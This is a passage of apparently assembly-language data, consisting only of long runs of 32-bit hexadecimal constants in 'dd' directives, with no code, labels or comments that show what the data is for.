0D279912Fh, 66821FD5h dd 668A1152h, 0E3D3B123h, 243E52AFh, 0C73DA7BCh, 0AC768A65h dd 0DCF7655Dh, 166A03A1h, 25A70F8Fh, 98504935h, 123180C6h dd 0F6F346E5h, 7ED174C1h, 0D596DABAh, 7EFC7E5Ah, 234468B0h dd 8D46AA2Dh, 4D1F67BFh, 4DEC14BDh, 0CC11B00Dh, 11B8D06Dh dd 91BAF303h, 6DEAFE62h, 22333217h, 403E0173h, 90A39EE9h dd 4EC78BA2h, 0DF4F2263h, 457F6E40h, 0BB411D68h, 0A9F25510h dd 90A93F32h, 8D1D5F3Dh, 7CE38CCh, 0FE86A44Ch, 0ABCEEFB5h dd 0CC8AFE9Fh, 591454FBh, 0BED57C30h, 436D77BBh, 7A7B64Ah dd 76F5B924h, 0E58964EDh, 0E6BB1C7h, 0E79EEB51h, 2C2A4701h dd 0DD48EB92h, 0E68CE83Dh, 1E9242B9h, 0CF02C483h, 0F200CB78h dd 0A017A9C6h, 87BDE1F1h, 87EDFCCAh, 864DAAEh, 484F11D5h dd 0B888D74Ah, 41648EAh, 53411F86h, 0F3FB3C9h, 61ED4111h dd 0B864A523h, 0E4691D41h, 29C78A4Ch, 0A9AEC6F8h, 0AD258Bh dd 364BD430h, 48A2188Dh, 7E782931h, 0EB058BC0h, 0A74BBEBEh dd 92CA585h, 59AEB610h, 582E6F03h, 3E35CE5Ch, 471380BAh dd 8AAB858Dh, 164596A3h, 1C59318Dh, 2274C298h, 0A75C6FB3h dd 0F16D24C7h, 88A89DDDh, 0A165A8Dh, 22FEF280h, 0A0499662h dd 22B7FC00h, 0C88D64DAh, 9D998A43h, 9D28CD30h, 62EE87DAh dd 506CF5Eh, 0E70B5305h, 243DE78Fh, 5172BA94h, 0EED3AD63h dd 5AD60B9h, 0B7A263B3h, 0A29E7663h, 6754D326h, 8F9F3528h dd 3C9673CAh, 0A8AB8220h, 532E4B07h, 104F14B2h, 0A8D7F882h dd 6703ECECh, 469C340h, 8AB7EAB6h, 0BA50E64Bh, 6703F888h dd 0E680E9A1h, 0E4015FAEh, 0F650A66Bh, 66099943h, 221B511Dh dd 0F6FAA77Fh, 0D4AD497Ch, 53F5176Ch, 249123FAh, 1BB5609Ah dd 7A47599h, 0E1EFEA43h, 9A0A16B2h, 3B98E015h, 6E79E9B3h dd 3BFB1D29h, 785864E5h, 7D47E47Fh, 0E3C690F2h, 0AF8CAAB0h dd 0B0A6690Bh, 7AD09CA6h, 0E8D392ACh, 20EDD15Ch, 635ED12Dh dd 4BD02D8Eh, 4BBE3635h, 0A823E0CBh, 7A5D2800h, 12A65673h dd 9C9D070Eh, 0B866665Fh, 6A92D9AEh, 2D611C81h, 0B97CF69Ch dd 62444CB0h, 0E7855165h, 30F48A07h, 0A4FCE31Dh, 0E4C117BDh dd 0A03593F5h, 0BCB8B1EFh, 0F8BF6B6Ah, 8F605E1Bh, 207D5034h dd 0EA1EF2BFh, 95C173B8h, 6324A3DFh, 0E95F4D7Dh, 495CBDDEh dd 0D2535554h, 15699AF4h, 4CA6D7DBh, 22647EBFh, 44289B3Ch dd 0C3F7EDC6h, 43B695D8h, 0EF669637h, 20293C18h, 0E9597A25h dd 0C42145D4h, 151C2669h, 0B32F5653h, 0B3F9835Dh, 42FD85C4h dd 3FE0C892h, 0DCA538C9h, 33C82717h, 0BD5E9380h, 636E8D36h dd 67960CA6h, 64D1FA90h, 8986EA90h, 69C41249h, 0C40D35D8h dd 0D44256BDh, 99FAC1D6h, 3507DEACh, 9B435AEBh, 5A01F849h dd 99334A6Ch, 215A56A2h, 0F5352438h, 3025810Ah, 0D350379Bh dd 33B3057Ch, 0BD702B66h, 7249D47Dh, 37500D05h, 7EA74AF4h dd 9CBCB674h, 0FC9839C9h, 595F4028h, 1C2588D6h, 8BF77D52h dd 3B6D10A4h, 91BBB0C9h, 6148DB2Eh, 1FFA95CBh, 0D9C4D677h dd 928BCF12h, 41EC0ED3h, 61CCE0CFh, 4D0A41FBh, 0FCEAD7B6h dd 0E512D5E6h, 5FFDD16Eh, 35DF941h, 0B5ED1501h, 0E862204Dh dd 0E3B78295h, 63027797h, 5AD57504h, 152F86BDh, 97F98EEBh dd 0BE521052h, 0DAD4F449h, 0E027B06Ah, 6F36E62Eh, 0B76E2188h dd 0C3ED65E3h, 2166BF6Fh dd 95B7C2FCh, 883FF28Ah, 2843EA43h, 4CF37EFAh, 0D3E58B8Bh dd 9EC71792h, 94CBF359h, 4897859Eh, 80532E02h, 654ADF71h dd 2ABDBF7Eh, 8C488494h, 0C2DF0497h, 11784E5Bh, 24FE6648h dd 0B98E668Ch, 5C84A9E7h, 0FFCA0BF7h, 1EC28FD1h, 7A5ABC7Ch dd 9C261AEEh, 38CA812Eh, 309A1909h, 0E13E435Fh, 13FFDF35h dd 1427F3Bh, 56E046B2h, 4FFBFC67h, 0D7DF479Ch, 6F5687AAh dd 25451004h, 20CFBAD1h, 0BA16E93Ah, 0B0510AF0h, 2ADF8AAAh dd 32F64E8h, 0A33C1D6Dh, 4B392DD9h, 27D28C3Eh, 0DD693893h dd 0E6D3F79Dh, 0DE2C8E6Ah, 793CBFE3h, 2817716h, 0E7DD716Ch dd 0FC3D6AE8h, 7EF025F3h, 643A5929h, 70142B6Ch, 0F42EA0DAh dd 0BDBC8746h, 8D5055B9h, 0C597EF82h, 0AD03DD62h, 2113E31Eh dd 89FCF4A7h, 5613A883h, 2FB6A485h, 0D2DAFEA7h, 2C23A573h dd 986B9B9Ah, 423626D6h, 0DA78BDD5h, 0B5462479h, 0B58ED465h dd 27F4C220h, 0F0CB8C39h, 4E3CF318h, 0E1F7CBFCh, 8A86D21Fh dd 0F9D31D94h, 0A40F8397h, 0BFA36D6Ch, 9EDC6AAFh, 7822AF4Eh dd 0EF594B8Ch, 141C0362h, 0E777079h, 0D990B678h, 71A9A5B5h dd 0CF2EC4AAh, 68FBFBCCh, 0AFA07DC6h, 0F9223673h, 42AE0632h dd 0A21071CBh, 0BF561915h, 67A6B2FFh, 2291A767h, 2FC342DEh dd 0BFB56D0Ch, 64C30BC2h, 0A875027Bh, 3A052137h, 30BA8C9Fh dd 0AB099A02h, 0FF38CCE5h, 0A5140F63h, 8C3D6C02h, 0D980C88Fh dd 0D707D821h, 7FD4331Bh, 0C9A70B56h, 4CDAEE21h, 4DA4A079h dd 0AB00B9D7h, 17C27C34h, 98FEBA93h, 43458728h, 0D257FA23h dd 2309A85Fh, 7A734EEFh, 1B4D1633h, 1646B2Bh, 0BAE4C774h dd 0DDF1E7BFh, 2566645Fh, 8587DB8Fh, 0DE961EA3h, 2E4E08Eh dd 0D38C6FF0h, 8A669E50h, 7CE2A4E6h, 0B23624C3h, 7313534Eh dd 0C60A84F2h, 0F9BB05F4h, 6314D7B0h, 90A6390Fh, 0DBE11B9Fh dd 0C7CA3828h, 73EB1962h, 899492Bh, 1007AEB4h, 8754590Eh dd 0F9AF3434h, 8A6C7A4Bh, 0DF7DACABh, 0D5DB618h, 8C524E92h dd 450BDDC5h, 0FF6B889Ch, 4788CA0Ch, 71728E44h, 0D52823E6h dd 671CE476h, 0E9BCB9E4h, 3BE17563h, 30544914h, 0D0DE14Eh dd 0A9C12302h, 21E941E2h, 548DD0A8h, 876C4045h, 0C1FDF889h dd 850F4EF6h, 8EA5BB62h, 57032C07h, 3A7AFEBCh, 4DE213BCh dd 0A0DA1F9Bh, 69ED5414h, 9DC273Dh, 2B4D29F3h, 0FBDF8AFBh dd 6143E7AFh, 302C17FDh, 12EACE29h, 0D51E365Dh, 178EBE79h dd 53B71C31h, 0A325657Eh, 70B4B4E9h, 8F9A0F82h, 71C8E797h dd 0BB3F0ECCh, 92B41530h, 452337FFh, 0B31CA828h, 2BA8B4F3h dd 30282BA2h, 46A69D29h, 4CFEBB39h, 0A1340339h, 88D00EECh dd 8C72284Dh, 938E081Bh, 0D7BF51EEh, 0C7378606h, 0C30CB3C5h dd 30F1BB1Bh, 811C424Ch, 58E25486h, 38C6ACC3h, 0EDD17CEDh dd 8A4CFDAFh, 0AAEE358Bh, 0CDB2C035h, 2FED645Fh, 0C8BFD8E1h dd 0EB8D03EFh, 9E85231Bh, 8349AA20h, 71695999h, 9274C95Ch dd 765480CEh, 1BBFA366h, 1F762599h, 68512D2Fh, 0A9108B9Ch dd 2472A1F0h, 0AB321FC2h, 0A95DBCB4h, 1496FB27h, 35CFCD05h dd 0A408FC0h, 6436F9D0h, 56B8BCEDh, 2A1DA9BBh, 330AE6C3h dd 0C6802B5h, 0C69D2E50h, 4A2102EBh, 0D21B56F4h, 69ED91BDh dd 1084941Dh, 5A61FA4Dh, 0E2B41D05h, 0A85C606Eh, 4CE1822h dd 54291D01h, 0F6500229h, 9BB81123h, 0D9524A0Eh, 0CD5EB9C0h dd 0C3CC0458h, 7DF3F6C5h, 8EA2E947h, 9316F628h, 0F492B5E8h dd 0B8E73C1Ch, 5069F289h, 9932743h, 3C28D041h, 0C864D744h dd 2FFE28D9h, 34AF9FC2h, 4136DC2Fh, 752DA828h, 724EE7C1h dd 97FEEEBFh, 0BBD1F34Eh, 8982CF7Fh, 0EC55D37Dh, 84B114C9h dd 0C297C4EDh, 0CF9E0283h, 88D5D044h, 0D1C3D5FDh, 1FB666E2h dd 37E41921h, 3D0BD747h, 0F03DF507h, 523C1A7Ah, 68D72347h dd 17CE983Dh, 1BC9D568h, 572A74ACh, 0F4ABF1D4h, 879506FFh dd 29E43127h, 0D027677Ah, 2276CCABh, 1242C48Eh, 3CC268EDh dd 0B80F31C3h, 0D6875810h, 484FB1D4h, 0ACC29B5Ch, 0E859442Fh dd 0B4CFC684h, 0F1BEE4FCh, 709817D1h, 4330334Ch, 0B96268Ch dd 731543EFh, 0CC34E1C5h, 0DCE56D8Fh, 2F08EC0Ah, 0F6605401h dd 0D0221B57h, 0B0F328E0h, 0E9059A3h, 84399C79h, 515820CBh dd 9A44B29Bh, 0C7B2967Dh, 0C1399CB6h, 16163359h, 1236A171h dd 7A9A181Ah, 0AB1193E2h, 571E07B0h, 6F966F02h, 2F282DFBh dd 0D4CD0E00h, 8A4412A0h, 0FD122DAFh, 0A7D16FB2h, 6762B64Eh dd 0C6F36430h, 2937DF2Dh, 12AF3C2Ah, 1434F263h, 61E1BB29h dd 0B19C9AD1h, 5C5FCDD3h, 0E59A3B78h, 0B772214Ah, 5DE64F50h dd 0D0CAA0F2h, 77071439h, 7B6B2AF4h, 0E379539Fh, 0AFE16BE1h dd 111D2267h, 9A6A517Fh, 0D5F29E4Fh, 0D57951B5h, 0A14CC2DBh dd 0A8B7AB1Dh, 0BF76F50Ah, 98BB82A7h, 0FADFF1BBh, 7569993Ah dd 0C33A51D9h, 5170AAD3h, 9062C4FEh, 8E8AE2BBh, 0E10B4A5Bh dd 0DFAB84D0h, 0CCE3E88Fh, 3CB1C494h, 1DCBEF2Eh, 0E9FEDA79h dd 12E21947h, 0B7C6F74Bh, 7A259F25h, 4EA97548h, 938ED6DFh dd 0FAF2E08Dh, 0C63BE8B6h, 3F4DB9A5h, 336BD2B7h, 0ABA0C7C4h dd 0A271BE14h, 0B036DC4Ah, 0A3CEEC6Fh, 9766AD6Bh, 0C3555D0Dh dd 0B7A815A5h, 9CE4CB26h, 0A0E1E3E6h, 0CB059540h, 3D9CA4EBh dd 4A53CB70h, 0D1F3B983h, 0C8CEF8A4h, 784D6077h, 553D1717h dd 2F4F2EDDh, 60BA5EC0h, 0ED0C8DA2h, 3ECF30AAh, 0ED19D199h dd 0E8C83E9Eh, 666306A4h, 4A91B4DEh, 0E51F44E6h, 238076C8h dd 2F390A5h, 55ADE762h, 93C5CCF0h, 8FFDF622h, 0C3D08909h dd 2A359407h, 0FE6036DFh, 1603A088h, 0E9F24723h, 783221DCh dd 0E8E25D93h, 0A11F5FD2h, 8ABCDAC1h, 0CF389C85h, 0EB3463E3h dd 1A7D1011h, 10DC8659h, 0E5AD83CCh, 5D4B7BCh, 21A26783h dd 9ED71C5Ch, 58F08165h, 0E89EA9ECh, 0DF7BCC9Fh, 4E2F20A4h dd 83731E07h, 0C1C8AC5Ah, 8D475A50h, 0EF15683Eh, 0BD8D64EFh dd 0C0F9B7B0h, 0EBDDCBA0h, 0DE58C0h, 0F2C48D75h, 27B86ABBh dd 7D2657A9h, 1A5A0ACEh, 508DF2EFh, 0C51151AFh, 0BE5952BFh dd 9680D7D3h, 97E408E5h, 0E15528A9h, 875EB3FDh, 0A2585973h dd 0CDF3C089h, 27352933h, 6B6B1DBFh, 5BF408DFh, 934E851Ah dd 0AF0BFC01h, 0CD13CCF1h, 209A681Fh, 959397C4h, 30B63699h dd 2860249h, 0FA46309Eh, 2C786664h, 9FBED67Eh, 18884216h dd 6478AD4Bh, 0E6F59382h, 0DDA25DDEh, 0E42B8541h, 1A12E515h dd 0C4344AC9h, 5AFA185Fh, 0A8CFE2D5h, 910833D4h, 0A7639E0Dh dd 7BD1CF2Dh, 41940672h, 3E1957C6h, 0A6841FA6h, 0BAD07DEBh dd 0DD150C06h, 5274D93Bh, 3FE2540Fh, 453682CFh, 12EE95F5h dd 9D017947h, 3795165Ah, 42D7FB1Ch, 0BE7456C6h, 0A8BABDEBh dd 1B4D57B0h, 1901989Eh, 79ECC545h, 41C3D7ACh, 2EDB162Fh dd 0F63184E4h, 0C935CDB8h, 0BBFCA4CBh, 0DC930339h, 1048DA5h dd 0BFF43F5Bh, 0A308EAAEh, 923D6347h, 0DE1CFFEh, 0C0B3B30Bh dd 0DDB62C1Fh, 0FE479B8Eh, 3AD0C239h, 67B0FA9h, 41C164DAh dd 0B46B1D30h, 3BD92947h, 4B66ED0h, 476C6202h, 0C98FBC9Ch dd 0D7B918F0h, 42211C2Ch, 7A40236Ah, 0D01F5B1Ah, 470EFDDh dd 869E8A34h, 9406A5D6h, 235F7286h, 0D22E487Dh, 0E76C5E74h dd 17A69382h, 6CB75FE3h, 6FB704A4h, 2F13C56Eh, 9A824E79h dd 2FC53509h, 259BE75Ch, 8F3E6A00h, 4A0EDCC9h, 2DB2BFEBh dd 0C21AC19Eh, 0AE847F0Eh dd 400E5803h, 79FFF61Bh, 0AA28BEE5h, 5A385713h, 52470B43h dd 0E8BDF217h, 99DFBDFAh, 0C18D6767h, 518835ACh, 41E9B30Ah dd 0BC92F379h, 0B9E698Ch, 0A328CC0Fh, 0FC7F597h, 0A770AEA5h dd 0F1ED9D5Fh, 111A28Bh, 0CFBBAF3Bh, 9CBAC08Ch, 0B4017379h dd 12A18A98h, 0AC412EF7h, 0F799EB8Ah, 2F561B3Bh, 0A8E348E7h dd 0D5312CDDh, 0B7B80443h, 0C0CA7D94h, 11AE2EEFh, 2D5FE9C3h dd 0A0F3F0A7h, 0F25C28F6h, 6044362Ah, 0C104E470h, 92293660h dd 53C7A9A9h, 3A7D9F98h, 0C020A684h, 5FB75129h, 0D2C3C334h dd 0CEDA49EDh, 0BDB111FAh, 0D987FBF2h, 0F81AF25Eh, 0C4F0CF7Ah dd 24098D17h, 0AECCD66h, 0EC8E81C5h, 23E321Eh, 0BCE14ADAh dd 967F3E7Ch, 56B34652h, 2C1B669h, 8E16D5C4h, 0BD3B226Ah dd 0B44EBAE4h, 0AFAC755h, 7058BCF3h, 0E7FFD09h, 0B1D082A6h dd 2FF7E379h, 0EC0CC280h, 0EA7061F5h, 74FE9257h, 2DE4272Ah dd 32B9F30Ah, 34E412F5h, 1E7AD21Fh, 8A7E453Dh, 232681D4h dd 6D0FAE58h, 0C11349DEh, 0EF3820B8h, 8DC1846Fh, 0C8B33F0Eh dd 0E5C1CE12h, 7CBE7300h, 0D479645Fh, 35440667h, 2B6607B6h dd 0F27715C0h, 0D81FF713h, 0EBCA9FA2h, 0A985929Bh, 6DE3B823h dd 5E7191AFh, 2E8128A5h, 9797C9F7h, 0D8878528h, 0F6C03AB7h dd 3A3FD6D8h, 0BB0F1F8Dh, 350EC05Bh, 9D529704h, 5BDCC609h dd 0A0D36776h, 45800540h, 0E5254B39h, 0CB6AEB7Ah, 12A2565Bh dd 5C07107h, 0E27D5E7Eh, 89398829h, 52AEFC4Ch, 52CEB4Eh dd 419C345Eh, 28A784F0h, 4C452898h, 0C5CF9553h, 18050E92h dd 13E094E2h, 2D37B98Bh, 0A0FFD7D5h, 0F1236306h, 97C84A5Bh dd 385CA253h, 105F1D03h, 0D9492D93h, 6D88BF18h, 68052AB4h dd 0B1DCD0D4h, 0C63381F4h, 0ABB75255h, 4D86CA0Bh, 0D9D7F049h dd 0C7BC20A7h, 0C3A67B02h, 2CAC666Bh, 0B9ADCBFCh, 3129B9AAh dd 0EEFD8C98h, 0E3BC8B1Ch, 25979689h, 0FD28C581h, 73468264h dd 1A8EB760h, 68157571h, 0ECDC75FEh, 0E00C06AAh, 71015D3Dh dd 88EBEE43h, 71BC2FDDh, 63B16B0Ch, 3ABFB8AFh, 2550D0Fh dd 0E0B651F1h, 86FB42AFh, 844703Bh, 1366880Ch, 0EFE70948h dd 8C45E9A4h, 3EC5560h, 0A917F2ADh, 0DD52B073h, 697B69CBh dd 82523807h, 0EAC620A1h, 235C2FBBh, 2BAD09AEh, 0CF94704Eh dd 0B821DBC4h, 0D04F36A9h, 816457EBh, 0E8FE3A0Dh, 0B9092305h dd 907554FBh, 0FA0C885Ch, 0A3D62C95h, 6D21843Eh, 0BA2469B8h dd 721A4EA0h, 0C5D874CFh, 6982C5B7h, 6F0E4E27h, 45641DD2h dd 0F944064Ch, 8E556FD5h, 0FC504DF0h, 0CD58FDCEh, 0D6BD778Ch dd 0A3772FDAh, 4BBEA920h, 0DD82AF44h, 987A665Eh, 23820ED7h dd 3718EF05h, 1A512659h, 0D2784ECAh, 0F79E22Dh, 0CD41B982h dd 0AD86C505h, 0B66FA926h, 0A7B8A7Ah, 2FB28FC6h, 1FBC3F8Ah dd 0E359257h, 31FC561Ch, 0D59B768Dh, 8847BF42h, 0E3154019h dd 3E541D73h, 3CC95C53h, 9D0DBC5Ch, 478D75BEh, 0E6ED958Bh dd 0E20BE345h, 0FDBFB044h, 0F619A822h, 31D3D25Fh, 612280E5h dd 5A4460C5h, 0D5835A49h, 0DA8329D7h, 0F5CB8AE6h, 5B653FBDh dd 2B7143E4h, 0ED6EC72Ch, 410C6D16h, 1A3C8142h, 0F647D834h dd 6186FF35h, 0F2E14E08h, 13ACB97Ah, 6A7D426Dh, 2329C9C7h dd 3E47F951h, 140B338Ch, 78A27167h, 0D181B189h, 9577D7EBh dd 5F4D6DF7h, 0A1C6602Bh, 0CC1016B5h, 0D176267Ch, 0E4D3315h dd 0B7F28FF6h, 793B27ECh, 0E003EF33h, 4C52FF09h, 0B4B244C5h dd 60548961h, 573FA035h, 4D7DBB96h, 8723F811h, 5A63B19h dd 145FB474h, 21BBFD22h, 7BECC39Bh, 0E0B1DDDBh, 0AA8EB0D6h dd 6BB53688h, 624C253Ah, 0C3CE714h, 1D136362h, 6C798FC1h dd 738F13BBh, 70374422h, 0B956F31Eh, 9E1E677h, 35B30127h dd 4983E76Fh, 97E562A3h, 1D8F8F18h, 54B47ECCh, 58D96CECh dd 76DAF7FEh, 0E398CF18h, 301136FBh, 0D739214Dh, 827F0941h dd 7C6D280Dh, 94697B3Bh, 9FA961B7h, 505A3D32h, 5F787245h dd 1F9AE3B4h, 700D7FB4h, 0C434C57Ch, 6AF86295h, 59EBE414h dd 63BAFE93h, 7C6DA34Eh, 6DA03A30h, 0EFD53F4Ch, 0F3CE010Ch dd 97EDB595h, 0B54EDB8Ch, 64268673h, 4CB444BEh, 0C62C16AEh dd 8DF7A520h, 7B6747BEh, 6E77A8F7h, 0B3F2CF32h, 3C7F4BDCh dd 0F374A4A0h, 47FED0B7h, 33122F9Dh, 8FC2C3Ah, 557B14DCh dd 2AACCF27h, 0F1329369h, 50DFB644h, 0B57077Fh, 0F0C5F2B6h dd 0C5F8DE0Fh, 0F33FC05Eh, 0A00E6472h, 5832394h, 0E08F7925h dd 0AEDD2BCEh, 0AC36DAB1h, 0BD561AFh, 8DEAFF42h, 0A361E1DCh dd 4E80622Bh, 60BDD38Ch, 78F6F2FBh, 0F800BBEAh, 0B1271B25h dd 9DB3A2E4h, 933A57D3h, 0FBCECC7Ah, 37EFEAFEh, 1CC448B3h dd 0D7416198h, 7B37F716h, 84E284D2h, 8971A729h, 0C0E34151h dd 5F6E8444h, 49D82E13h, 0F0C1A24Ch, 8160BE7h, 21B22F42h dd 2D966EEFh, 0E048A077h, 0FF8F6D49h, 28C48B89h, 31654F36h dd 65CE87D4h, 0F6EF29FFh, 5F89F572h, 2420048Eh, 16280174h dd 0D4006318h, 9523B1CEh, 5AE3FE4Fh, 144BD3Eh, 0F4AD682Fh dd 0EE0C064Fh, 421721F0h, 0C86F6032h, 75E607C4h, 0D5C02DEBh dd 42211CDFh, 0B6149CD6h, 58846205h, 0D6B661FEh, 3629B504h dd 14BDCFAEh, 0ACFE4B43h, 0A86CFBF3h, 0C28968BEh, 0F036F3B1h dd 2691178Ah, 5B76BCD6h, 0F9174791h, 75D9065Ah, 3004C9E5h dd 89FED2CEh, 554B3B9Ah, 7E3571A6h, 104522B2h, 1176DBE8h dd 0CD64D451h, 6D2A4F0h, 0A0130BECh, 0CD165035h, 0B4AF9CDEh dd 3C272B0Ch, 3578A1B9h, 74BC2066h, 5F0F706Dh, 92464944h dd 6ED0A939h, 7EC1253Bh, 3CA1A443h, 0D9AF5D17h, 0C7A22266h dd 0F5556EB5h, 0C49B723Ah, 0A21BDF91h, 0D06AF220h, 78890B06h dd 4545721Ch, 6032A411h, 65AFC52Eh, 72AAF0EDh, 268F9DFDh dd 0C74396Eh, 13C278D3h, 9200F273h, 68F308DEh, 0DABB5DBBh dd 0C66FCCEBh, 3137DC41h, 0C4F5962Bh, 0C7C717F5h, 1FEB6A1Dh dd 163109CDh, 0DF27D7D2h, 0B82D6C41h, 0C3D95DEh, 0BAB9468Bh dd 0B985599Bh, 331B20Bh, 920DE857h, 523AF780h, 393EE336h dd 6B778AF4h, 643BDD72h, 1DB74839h, 401AF762h, 0F7449F1Ch dd 0F33D55B0h, 63AE6ED2h, 57F41125h, 13CF52E0h, 0D3748CCAh dd 0A9D831C8h, 1BF628B7h, 398B299Ah, 0FC0F0EA4h, 14FAC18Ch dd 2B95B1A2h, 0E5DA6046h, 0ED6130F5h, 2DBE32EEh, 0DF0FC851h dd 2D3F2ECh, 2BF7ADBEh, 0C95378D9h, 0E3B84046h, 0C7FF8EA3h dd 18D86969h, 9C8029D1h, 58CF4388h, 3E5B6DD1h, 65037DBCh dd 43B2DB74h, 4AFC02C4h, 0D87218FEh, 0A529981Ch, 6B32566Dh dd 0F0BAFD94h, 87809396h, 99B176DAh, 18256A33h, 5051AF45h dd 71F62423h, 24145F3Eh, 31810EEBh, 0BB99CA7Ah, 6F887ABBh dd 0E34D1D90h, 42D121FBh, 836D81D2h, 0AD7F8DC6h, 0D8B2F22Dh dd 54D3ADD3h, 41C8DD68h, 80A4DEAFh, 5E63A942h, 1A588449h dd 0F75D0E33h, 1428B308h, 0BA0C252h, 0E120DC0Bh, 80D7978Eh dd 666AA1D1h, 0CDA2646h, 1A03B2FBh, 3EE5761Bh, 4D0DC54Dh dd 28DD4C67h, 566F6D7Dh, 110E0530h, 0F0D1FA5Ah, 9A4B10A4h dd 1F950536h, 3E7A41B0h, 856D3577h, 0B29B328Bh, 0DEF7E34h dd 0DC0623BCh, 0A5350239h, 0BB6D96CBh, 5C4A6B05h, 8B4060DDh dd 0DC7D1C22h, 8402F24Eh, 4D58962Dh, 0B99AE81Bh, 480B9BB6h dd 90D2ADBEh, 148BEAD1h, 96546FA2h, 2A5D44F0h, 3202E393h dd 4F3A4A57h, 2945C598h dd 51293409h, 0ED544E14h, 35C67287h, 0BB8FCD13h, 5EA0E2C8h dd 4DCE4C62h, 6C40DB85h, 886DE4F3h, 20244B3Fh, 0DC937A13h dd 1B37F647h, 0BA7A0AABh, 9D50BAB3h, 0DEB7907Dh, 35EEC611h dd 0B971D97Eh, 1E1C1D67h, 0C4C13D99h, 0A17D2496h, 7B5D9ED7h dd 0AC7E4C3Eh, 3B5BC4CEh, 5437AABAh, 9F817221h, 0DDD43FD5h dd 0C0DC0E96h, 0C033041Dh, 24B82B14h, 2AAA65F1h, 0FF8AEB78h dd 138C6EBAh, 9100BF0Fh, 9C885770h, 676A098Bh, 2CCF917Ah dd 675A7A7Fh, 8764B892h, 1200A6B7h, 0FC46DA75h, 3DF4572Eh dd 62F1EDFh, 0FBD15A33h, 0D8A5F306h, 1A827084h, 32B8078Fh dd 0F7DEF8AFh, 10BBE80Eh, 991CF695h, 0BB2439DBh, 0FCB18D6Ch dd 0A0342A63h, 6F1B8D68h, 35BB12A7h, 31C88843h, 0F59E9BF6h dd 0A8B7A166h, 0A60251B0h, 0BB3278D5h, 0C222B011h, 2F6C47B2h dd 0A9F8BD7Bh, 65A8491Fh, 47B4CE9Ch, 0BCB9E425h, 4DFD206Bh dd 4627DAFEh, 29920344h, 3D3834B2h, 60B03CAEh, 21F0D6F2h dd 0E9031DFFh, 658F0DC1h, 54A43BC3h, 0E959DC77h, 0B6960309h dd 1C023E89h, 48A1FEFEh, 73235C90h, 0E19A519Bh, 97D1F0Ah dd 9227D1D4h, 0C1967D8Ch, 0A9E95F3Dh, 381BBA0Bh, 79BAADEEh dd 7843285Ah, 305654EBh, 0DEC96AE7h, 31FCDD23h, 0B23B3C91h dd 658B555Ah, 71D9812Dh, 0D25B7A75h, 5C1FC66Fh, 5907FA75h dd 0C762EC09h, 50D66873h, 97896C5h, 81C6C7B2h, 0A164066Fh dd 7961658h, 7ED20D42h, 0DB85035Ah, 0F8C0DA1h, 10238085h dd 9B621AD4h, 4F6D261Ah, 5EC1639Bh, 5E281386h, 0C82FA5h dd 2B62D08Bh, 0ACA71177h, 0EE8D646Fh, 957537CDh, 673EC91Dh dd 0B8356F39h, 0B8A62EA9h, 3078633Eh, 0CC87DE47h, 945F0B30h dd 0CD514AB0h, 4278BCA1h, 9971C4Eh, 994C16D7h, 867A0328h dd 2915656h, 54CB3F2h, 6ECDC921h, 2E1C03Dh, 0F8F70F8Fh dd 1B9F4902h, 0ECC4A857h, 0FC5F5256h, 0F03BBEADh, 0CE314488h dd 6878B005h, 0A5F8DA3h, 400AB82Bh, 0A1A7E183h, 4E1B1FECh dd 1276C41Ah, 31DAC5E0h, 0CCB8D8CFh, 3D5BF5D9h, 0EE581D75h dd 4378CA58h, 0C384C131h, 50BC02E1h, 0DDEC2D3Ah, 0EA5EDD4Fh dd 248B5F2Ch, 608C9C27h, 1843C875h, 725FEC82h, 0F91C4E95h dd 43484C29h, 0E32CFEh, 0A716F9CAh, 73CE69A7h, 627F4C90h dd 66E21780h, 0F60E7D1Fh, 21F7412Dh, 8232A958h, 0F8426228h dd 55F97EB7h, 776720CCh, 9691BF27h, 21D69C49h, 0E1A9F42Fh dd 88DE0F10h, 60DB1AEAh, 977A5E6Ch, 403E2141h, 7B9CF6B5h dd 1DDE0134h, 7A151C86h, 4D161B4Bh, 0DCA73EBCh, 93F3718h dd 1A84DBF1h, 0E355F873h, 2D9A8ED2h, 0A241C818h, 0D1126DFAh dd 0B47EBFEDh, 3434C440h, 0B280745Ah, 81699CF1h, 0A2AF53BBh dd 684752E4h, 6FD549EDh, 0BDBD8843h, 46C22F70h, 0CDCF42D2h dd 74E3BA5Ch, 131F68B0h, 138EF0D9h, 76D0DBAFh, 0BC047B8Eh dd 0C1876717h, 313226DFh, 0DDBB83F0h, 78EF2F66h, 40A76696h dd 0DB3EC010h, 2B5179FDh, 0A97B208Dh, 0A82910ACh, 0B9070C29h dd 857D4BBh, 55A6722Eh, 10B2DB4Eh, 41AF13A9h, 0D16F9102h dd 0CC8E010Ch, 0BEC7BC14h, 2B9F9ADh, 4A80DC37h, 8DC64B07h dd 9D993DB7h, 0B5BA1E1Ah, 62DBFF14h, 0DB345D55h, 56144A96h dd 90542009h, 0B939D815h, 8BAA77B0h, 6D8301D6h, 74084F1Fh dd 0E5CAC942h, 0B766FB56h, 105805FBh, 0DB2C0666h, 0CB1F8E94h dd 12951B1Ch, 0FD8F4FE1h, 3174C530h, 0B682524Fh, 1C148DE9h dd 0E8C3E3Dh, 9FCF6455h, 21DFF76Bh, 0A1086h, 1D893F50h dd 0D4628665h, 90C3864Ah, 0CFC52A04h, 0F22EBCEh, 0ECF0026Eh dd 0B01811EEh, 34CC06BBh, 1B424EBAh, 0A196ADCBh, 5E731E7Eh dd 0E2FEE5CAh, 6CB87031h, 0AC4AC68Ah, 3A6395C7h, 255188E2h dd 0F68FB85Ch, 0E2511F18h, 0E5C6251Dh, 2B69ADC2h, 3997A40Eh dd 0AF93ADB4h, 466A22CBh, 0D5CD3202h, 8A1B51E7h, 3CBDE53Ah dd 0CA0EC94h, 0EB3EA93Ch, 0A9C08001h, 0A42CFECBh, 841434B4h dd 0ACD4218Ch, 359A7159h, 7AEAEA32h, 0A02350F0h, 0F17270A0h dd 0C7370E46h, 3C444916h, 0FAFB1333h, 5996310h, 34F4EC9Dh dd 0F42FDF41h, 0E994E00h, 0D525ECD6h, 38B3BB58h, 79E6F1DBh dd 2314BCEDh, 5D2B8C76h, 52191274h, 0B40EBA30h, 12562DC6h dd 45726BB1h, 0C14EE3BBh, 0A34FE9EAh, 16A5A8DAh, 9578C30h dd 52E4AA8Ch, 6F514FB9h, 0A25DEDD3h, 0CECB6507h, 673610F2h dd 0CD4FCCD3h, 0CB97498Ah, 0D7639F2Ah, 2D68B6F7h, 906A065Ah dd 3D7A8428h, 0E2DADB05h, 0EBAAC28Dh, 0EBE21A30h, 83ABC64Dh dd 359494B3h, 66C37821h, 0BBE0B034h, 0F4FF6623h, 2DD42314h dd 7EF6E628h, 